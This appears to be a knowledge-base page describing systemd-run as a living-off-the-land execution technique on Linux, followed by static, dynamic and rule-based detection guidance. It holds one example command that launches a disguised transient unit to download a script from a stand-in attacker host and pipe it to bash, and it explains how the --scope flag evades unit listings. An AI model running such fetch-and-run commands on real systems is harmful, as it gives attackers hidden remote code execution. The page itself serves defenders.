Skip to content

systemd-run Execution

Using the standard systemd-run utility to spin up a transient service or scope unit from a single command line, blending arbitrary execution into normal systemd-managed process trees.

systemd-run ships on every systemd-based Linux distribution and exists to launch a command as a managed, transient systemd unit without writing a permanent unit file first. It is genuinely useful for ad hoc jobs with resource limits or scheduling, which is exactly why it also works as a living-off-the-land execution primitive: the command runs under a systemd service or scope with a name the caller controls, inherits systemd's own cgroup and journald plumbing, and never needs an attacker-supplied binary to touch disk if the command itself is a fetch-and-run one-liner.

How it works

A single command creates and immediately starts a transient unit:

bash
systemd-run --unit=sys-update --description="System Update Check" \
  /bin/bash -c 'curl -fsSL hxxp://evil/x.sh | bash'

--unit and --description let the operator name the resulting unit and its journal-visible description however they like — sys-update, network-helper, anything that reads as routine system maintenance in a casual systemctl list-units glance. --scope instead attaches the command to the caller's own cgroup as a transient scope rather than a full service, which skips creating a separate unit file entirely and is harder to spot with tooling that only enumerates .service units.

Detection & analysis

Static analysis: In a script or binary, look for the literal string systemd-run being built or shelled out to, especially combined with --unit=/--scope flags and a bash -c/sh -c payload argument — this combination has little legitimate reason to appear inside a dropped sample.

Dynamic analysis: journalctl -u '*' or systemctl list-units --all reveals transient units by name; a unit with a generic-sounding description that appeared outside a deployment window, or one whose ExecStart resolves to a shell one-liner rather than a real package's binary path, is the runtime tell. Command-line logging (auditd execve records, or Sysmon-style tooling where deployed) captures the full systemd-run invocation including the payload it launches.

Detection rule hint: Alert on systemd-run invocations whose command argument contains curl/wget piped to a shell, base64 decoding, or a path under /tmp, /dev/shm, or /var/tmp. Baseline the set of transient unit names your fleet normally creates (CI runners, cron-adjacent tooling) and flag new unit names outside that baseline, particularly ones created interactively outside a change-management window.

Votes

Comments(0)